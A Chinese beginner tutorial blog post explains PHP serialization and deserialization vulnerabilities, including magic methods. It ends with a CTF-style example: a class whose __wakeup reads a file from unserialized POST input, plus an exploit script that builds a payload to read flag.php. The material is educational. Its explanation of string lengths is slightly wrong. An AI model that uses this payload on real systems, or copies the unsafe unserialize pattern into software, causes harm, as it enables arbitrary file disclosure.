php反序列化漏洞

序列化与反序列化

序列化:把对象转换为字节序列,用于保存

反序列化:把字节序列恢复为对象的过程

 

  1. 转换成统一的格式便于传输

  2. 保留对象的状态以及相关的描述信息

  3. 序列化机制的核心作用就是对象状态的保存与重建

反序列化本身不是漏洞,但是反序列化的参数可控就有可能导致漏洞

 

0x01  php的序列化与反序列化

 

Part 1 : serialize() 序列化

serialize 函数用于序列化数组或对象,并返回一个字符串。

简单来说,序列化就是把东西摆放整齐,比如:


<?php
$sites = array('a', 'bb', 'ccc');
$serialized_data = serialize($sites);
echo  $serialized_data;
?>

输出结果为:

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

 

a:3 有三个数组

i:0 第一个数组,s:1:"a",表示第一个数组是字符,1表示有两个字符,为"a"

i:1 第二个数组,s:2:"bb",表示第二个数组是字符,2表示有三个字符,为"bb"

i:2 第三个数组,s:3:"ccc",表示第三个数组是字符,3表示有三个字符,为"ccc"

 

放入对象也是类似的。

<?php

class name {

    var $test1;

    var $test2;

}

$test3 = new name;

$test3->test1 = 'hello';

$test3->test2 = '_world';

echo serialize($test3); 

输出结果:

 O:4 指Object(对象) 4个字符

"name":2  指对象属性个数为2

 {}  中为属性字符数:属性值 

 

Part 2 : unserialize() 反序列化

unserialize 函数用于反序列化生成字符串。

比如:

<?php

$sites = array('a', 'bb', 'ccc');

$serialized_data = serialize($sites);

$unserialized_data = unserialize($serialized_data);

print_r($unserialized_data);

?>

输出结果:

Array

(

    [0] =>  a

    [1] =>  bb

    [2] =>  ccc

)

这就是 PHP 的反序列化,返回原始的结构。

 

0x02反序列化漏洞

 

反序列化漏洞相关的,危险的 PHP 魔法函数,两个下划线开头。

__construct():当一个类被创建时自动调用

__destruct():当一个类被销毁时自动调用

__tostring():当把一个类当作字符串使用时自动调用

__wakeup():当调用unserialize()函数时自动调用

__sleep():当调用serialize()函数时自动调用

__get():当获得一个类的成员变量时自动调用

__set():当设置一个类的成员变量时自动调用

__invoke():当把一个类当作函数使用时自动调用

__call():当要调用的方法不存在或权限不足时自动调用

unserialize() 反序列化之后,会自动调用__ wakeup() ,因此最理想的情况就是一些漏洞/危害代码在 __wakeup()  中,从而当我们控制序列化字符串时可以去直接触发它们。

 

看一个简单的例子
 

<?php

// flag is in flag.php

class popdemo
{
    private $filename = 'demo.php';

    public function __wakeup()
    {
        // TODO: Implement __wakeup() method.

        $this->show($this->filename);
    }

    public function show($filename)
    {
        show_source($filename);
    }

}

unserialize($_POST['a']);//调用__wakeup()

exp:(漏洞利用代码)

<?php

class popdemo

{

private $filename = "flag.php";

}

$p = new popdemo();

var_dump(urlencode(serialize($p)));

运行之后得到flag.php

 

更多信息安全教程(upload-labs靶场笔记  SQL注入 新手向入门系列教程)

尽在蝰蛇安全实验室(微信公众号)呦

我们专注于打造清晰准确 新手友好的信息安全公众号

期待您的关注与支持

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值